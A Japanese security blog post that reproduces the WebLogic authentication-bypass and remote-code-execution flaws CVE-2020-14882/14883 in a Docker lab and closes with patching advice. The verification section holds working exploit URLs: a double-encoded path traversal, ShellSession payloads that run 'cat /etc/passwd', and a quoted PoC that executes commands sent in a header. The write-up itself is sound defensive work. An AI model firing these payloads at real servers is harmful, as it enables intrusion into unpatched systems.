こんにちは、セキュリティ猫です。
今回の「やってみた」シリーズは、脆弱性の検証を行ってみたいと思います。
はじめに
今回検証する脆弱性は、Oracle社のWebアプリケーションサーバ製品であるWeblogic Serverの脆弱性(CVE-2020-14882、CVE-2020-14883)です。
本脆弱性は、Oracle社が10月20日に公開した脆弱性のうちCVE-2020-14882、CVE-2020-14883を組み合わせることで本来必要である認証をバイパスして任意のコードを実行する*1ことができるものです。
本脆弱性については、10月28日にPoCコード*2が公開されています。
また、PoCコード公開以降に複数の組織で本脆弱性を利用した攻撃が観測されており、注意喚起が出ています*3。
CVE-2020-14882、CVE-2020-14883について
本脆弱性は、Oracle WebLogic Serverにおいて遠隔の攻撃者がサーバの実行権限で任意のコードを実行する(RCE)脆弱性になります。
共通脆弱性評価システム CVSS ( Common Vulnerability Scoring System) のv3.1
本脆弱性のCVSSスコアは以下の通りです。
CVE | スコア | 備考 |
---|---|---|
CVE-2020-14882 | 9.8 緊急 | 遠隔からのコード実行可能な脆弱性 |
CVE-2020-14883 | 7.2 高 | 認証をバイパスする脆弱性 |
影響を受けるシステム
本脆弱性の影響を受けるシステム・バージョンは以下の通りです。
システム | バージョン |
---|---|
Oracle WebLogic Server | 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 |
上記バージョンのWebLogic Serverを利用し尚且つ、
- 管理コンソール(/console、デフォルトでは7001/tcpで稼働)へのアクセスが可能
の場合、攻撃が成功する恐れがあります。
CVE-2020-14750について
当初Oracle社がCVE-2020-14882、CVE-2020-14883のパッチを適応することで本脆弱性への対処ができるはずでした。
しかしながら、セキュリティ研究者によってこのパッチが不完全であり、パッチを当ててもバイパスされることが指摘されました。
🌚the patch.... https://t.co/xkUWAKS7NW pic.twitter.com/UokgEALA8x
— Henry Chen (@chybeta) 2020年10月30日
In Oracle's rush to fix it, they made a pretty simple error: attackers could avoid the new path traversal blacklist (and thus bypass the patch) by ... wait for it... changing the case of a character in their request.https://t.co/fHWPkXCAlm
— Brett Winterford (@breditor) 2020年11月3日
「IllegalUrl」でパターンマッチングを行い、 CVE-2020-14882、CVE-2020-14883で使用されるURLを使えないようにするはずなのですが、パターンに漏れがあり、例えば「%252E%252E」はパターンにマッチしますが、「%252e%252e」のように小文字の場合はパターンに含まれておらず、CVE-2020-14882、CVE-2020-14883での攻撃が成立してしまいます。
そこでOracle社は定期外のセキュリティアップデートを公開しました。
環境構築
CVE-2020-14882、CVE-2020-14883の検証を行うためにまずは、WebLogic Serverの環境を構築します。
GitHubにOracleが公開しているDockerのイメージがあるので、このイメージを利用して検証を行います。
Oracle公式のDockerイメージをダウンロード
1.次のGitHubからDockerfileをダウンロード。
または、gitコマンドを利用してダウンロード。
git clone --depth 1 https://github.com/oracle/docker-images
2.パス入力を省略するために、以下を実行。
export WLS_DOCKER_DIR=`pwd`/docker-images
これで今後 docker-images/のパスは$WLS_DOCKER_DIRで表現することができます。
Oracle JDK(Server JRE)ベースイメージの構築
WebLogic Serverの構築にはまず、OracleServer JREバイナリをフォルダにダウンロードして、そのイメージをビルドする必要があります。
1.以下のサイトから、server-jre-8u271-linux-x64.tar.gzをダウンロードし、$WLS_DOCKER_DIR/OracleJava/8に配置します。
Server JRE (Java SE Runtime Environment) 8 Downloads
2.配置後、イメージをビルドします。
cd $WLS_DOCKER_DIR/OracleJava/8 sh build.sh
ビルドの際に、以下のように名前解決できないエラーが発生することがあります。
その場合は、firewall-cmdコマンドで穴あけが必要になります。
firewall-cmd --permanent --zone=trusted --change-interface=docker0 firewall-cmd --reload
その後、順調に構築できれば、下図のように「oracle/serverjre:8」のタグでイメージが作成されます。
WebLogicDockerインストールイメージの構築
続いて、WebLogic ServerのDockerイメージを構築します。
1.以下のサイトから、WebLogicバイナリをダウンロードします。
Free Oracle WebLogic Server 12c (12.2.1) Installers for Development
今回は、Oracle WebLogic Server 12.2.1.3のGeneric(fmw_12.2.1.3.0_wls_Disk1_1of1.zip)を利用します。
ここでは、Genericを利用しますが、Quick Installer for Mac OSX, Windows and Linux(fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip)でも構いません。ただし、Genericを利用するかQuick Installer for Mac OSX, Windows and Linuxを利用するかでイメージビルドの際に利用するオプションが異なります。
2.ダウンロードしたzipファイルを$WLS_DOCKER_DIR/OracleWebLogic/dockerfiles/12.2.1.3/に配置します。
3.$WLS_DOCKER_DIR/OracleWebLogic/dockerfiles/に移動し、WebLogicDockerイメージをビルドする。
cd $WLS_DOCKER_DIR/OracleWebLogic/dockerfiles # Genericを利用する場合 sh buildDockerImage.sh -v 12.2.1.3 -g # Quick Installer for Mac OSX, Windows and Linuxを利用する場合 sh buildDockerImage.sh -v 12.2.1.3 -d
WebLogicドメイン作成
続いて、WebLogicイメージを拡張するカスタムDockerfileからドメインを作成します。
cd $WLS_DOCKER_DIR/OracleWebLogic/samples/12213-domain #Genericを利用する場合Dockerfileの編集 #developer→genericに変更 #FROM oracle/weblogic:12.2.1.3-developer FROM oracle/weblogic:12.2.1.3-generic #$WLS_DOCKER_DIR/OracleWebLogic/samples/12213-domain/properties//domain.properties #上記ファイルの”DOMAIN_HOST_VOLUME”の値を自身の環境に合わせる #DOMAIN_HOST_VOLUME=/Users/host/temp DOMAIN_HOST_VOLUME=/host/temp #build docker build -f Dockerfile -t 12213-weblogic-domain-in-volume . #イメージ確認 docker images
ビルドに成功した場合、以下のように12213-weblogic-domain-in-volumeのタグを持つDockerイメージが作成されている。
管理サーバーコンテナを実行
次のコマンドを実行してWebLogic管理サーバーコンテナを起動する。
sh run_admin_server.sh
すると、下図のようにエラーが出ます。
どうやら、ポート指定のオプションでエラーが出ているようです。「-p 9002:」が正しい指定ではないのが原因のようです。ソースを読んでいくと、「ADMINISTRATION_PORT」が設定されていないことが原因のようですが、ソースコードを見る限りデフォルトでは設定されていないので、ソースコードに追加するか、または「-p 9002:」の箇所を消して実行するほうがよさそうです。
今回は「-p 9002:」を消して実行しました。
docker psコマンドでコンテナの稼働状況を確認すると、9001ポートでWebLogic Serverが稼働していることが確認できます。
ブラウザを利用して、次のURLにアクセスするとコンソール画面に遷移しました。
http://<IP address>:9001/console
検証
WebLogicの検証環境ができたので、いよいよCVE-2020-14882、CVE-2020-14883を検証したいと思います。
本脆弱性は、認証をバイパスして本来は認証が必要なページにアクセスできることができ、また、任意のコードが実行可能な脆弱性になっています。
認証が必要ないページから特殊な文字コードを利用してディレクトリトラバーサルを行うことで認証をバイパスすることができます。
ブラウザで以下のURLにアクセスします。
ここでの192.168.0.1はWebLogicが稼働しているIPアドレスになります。
http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal #%252E = 「.」 %252F = 「/」を表している。 #http://192.168.0.1:9001/console/images/../console.portal
すると、認証がバイパスされて下図のコンソールページにアクセスすることができました。
では、任意のコードが実行が可能か確認してみます。
http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('cat /etc/passwd');") #cat /etc/passwdを実行
。。。。。。。あれ? 実行できない?(´Д`;)
いくつかのPoCを確認したところ、実行しているコードが「calc.exe」のように、WebLogicサーバー内部でコードの実行を確認しているものが多いことに気づきました。
また、以下のPoCのようにipconfigを実行しているものもありましたが、次のようにJavaのメソッドを利用して出力しています。
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");
GitHub - jas502n/CVE-2020-14882: CVE-2020–14882、CVE-2020–14883
つまり、この脆弱性を利用した任意のコードの実行結果はレスポンスで返ってこないようです。
なので以下の実行してみて、ファイルが作成されるかで確かめてみました。
http://192.168.0.1:9001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/exploit');") #/tmp/exploitを作成
すると、/tmpディレクトリにexploitファイルができているのを確認できました。
このように、脆弱なバージョンのWebLogicを利用しており、管理コンソールへのアクセスが可能な場合、任意のコードが実行可能であることを確認しました。
調査
では、実際に本脆弱性を被害を受ける可能性のあるサーバーはどのぐらいあるのでしょうか。
Shodan*4でOracle WebLogic Serverの稼働状況を調べてみましょう。
すると、7001/tcpが開いているWebLogic Serverが全世界で約3,000件見つかりました。
では、約3,000件のうち日本にはどのくらいのサーバーがあるのでしょうか。
検索した結果、25件見つかりました。
つまり、管理コンソールに接続可能なWebLogic Serverが上で示したバージョンを利用していた場合、攻撃が成功する恐れがあります。*5
おわりに
いかがでしたでしょうか。
WebLogic Serverを公開しており、尚且つ管理コンソールへのアクセスが可能な場合、本脆弱性による被害を受ける可能性があります。
自組織・個人でWeblogicを利用している方は、パッチを当てることをお勧めします。また、すぐにパッチを当てることができない場合は、管理コンソールへのアクセス制限をかけてください。
簡単な脆弱性の検証でしたが、今後もこう言ったことを続けていきたいと思います。
それでは、ここまで拙い文章を読んでいただきありがとうございました。
【更新履歴】
2020/11/12 PM 公開
*1:遠隔(主にNWを介して)から任意のコードが実行することをRCE(Remote Code Execution))といいます
*2:Proof of Conceptの略で、日本語では「概念実証」という。脆弱性を利用した攻撃が可能であることの証明するためにセキュリティ研究者などが公開しています。PoCを語る偽物などもあるため見極めることも重要。
*3:PoCコードの公開は、脆弱性による攻撃が可能であることを証明や注意喚起にもなりますが、その一方、PoCコードを悪用して(改造して)攻撃に利用される場合もあるため、PoCコード公開後はその脆弱性についてより一層の警戒が必要になる
*4:Shodanとは、インターネットに接続しているデバイスを検索する事ができる検索エンジンのこと。WebサーバやWebカメラ、IoT機器、制御システムを検索することができる。
*5:今回Shodanで見つかったのはあくまでShodanから見ることができるWebLogic Serverだけになります。デフォルトポートを変えていたり、Shodanの検索では見れないようアクセスコントールしているサーバーもあると思われます。